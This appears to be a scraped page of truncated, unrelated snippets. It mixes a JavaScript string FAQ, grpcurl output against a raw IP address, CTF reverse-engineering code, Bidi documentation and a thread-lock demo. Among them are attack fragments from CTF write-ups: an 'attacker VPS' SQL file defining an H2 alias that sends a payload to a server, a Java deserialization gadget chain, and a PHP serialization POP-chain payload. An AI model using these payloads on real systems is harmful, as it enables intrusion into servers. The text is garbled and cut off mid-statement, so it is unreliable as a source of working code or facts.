Is there a way to reverse the process of Concatenation? Yes - there are various methods available for reversing the concatenation process depending on what language you're using. For instance, within JavaScript you can use the split () function to separate out parts of a string into individual...
message HelloRequest{stringname=1;}# docker run fullstorydev/grpcurl -plaintext 8.147.135.248:28234 describe helloworld.HelloReplyhelloworld.HelloReply is a message: message HelloReply{stringmessage=1;}# docker run fullstorydev/grpcurl -plaintext 8.147.135.248:28234 describe helloworld.Requesthelloworld.R...
在攻击者 VPS 准备如下 .sql 文件,里面的 base64 部分用来向 server 发送 payload createaliassendas'int send(String url, String poc) throws java.lang.Exception { java.net.http.HttpRequest request = java.net.http.HttpRequest.newBuilder().uri(new java.net.URI(url)).headers("Content-Type", "a...
System.out.print(" << "+ String.valueOf(vmInsn[i])); i++; }catch(NullCafeException e6) { store |= vmInsn[i]; System.out.println(" | "+ String.valueOf(vmInsn[i])); i++; }catch(StarrySkyMeowNotFoundException e7) { System.out.println(" flag[i] shoud be "+ String.valueOf(...
num64_to_32(num): str_num = bin(num) if len(str_num) > 66: return False if 34 < len(str_num) < 66: str_64 = str_num[-32:] result = int(str_64, 2) return result if len(str_num) < 34: result = int(str_num, 2) return result # def get_md5(string, secret_key):...
Take a Bidi object containing the reordering information for a piece of text (one or more paragraphs) set by setPara() or for a line of text set by setLine() and return a string containing the reordered text.
import com.ezgame.ctf.tools.ToStringBean; import com.sun.corba.se.spi.ior.ObjectKey; import javax.management.BadAttributeValueExpException; import java.io.*; import java.lang.reflect.Field; import java.nio.charset.StandardCharsets; public class Gadget { public static void main(String[] args) ...
public class MainTest { public static void main(String[] args) { ReentrantLock lock = new ReentrantLock(); Condition condition = lock.newCondition(); new Thread(() -> { lock.lock(); System.out.println("线程1获取锁"); // 条件等待 释放锁 System.out.println("线程1条件等待、释放锁"); ...
flag = input('welcome to moectf\ninput your flag and I wiil check it:') enc_flag = base64.b64encode(flag.encode()).decode() enc_flag = enc_flag.translate(str.maketrans(string2, string1)) if enc_flag == str1: print('good job!!!') else: print('something wrong???') exit(0...
<?phpclass Joker{ private $Error; public function __construct(){ $this->Error = new Bigger(); $this->Error->Processing_strings = new Lisa(); }}class Bigger{ public $Processing_strings;}class Lisa{ public $code;}$a = new Joker;echo base64_encode(serialize($a));?> 结果:Tzo1OiJK...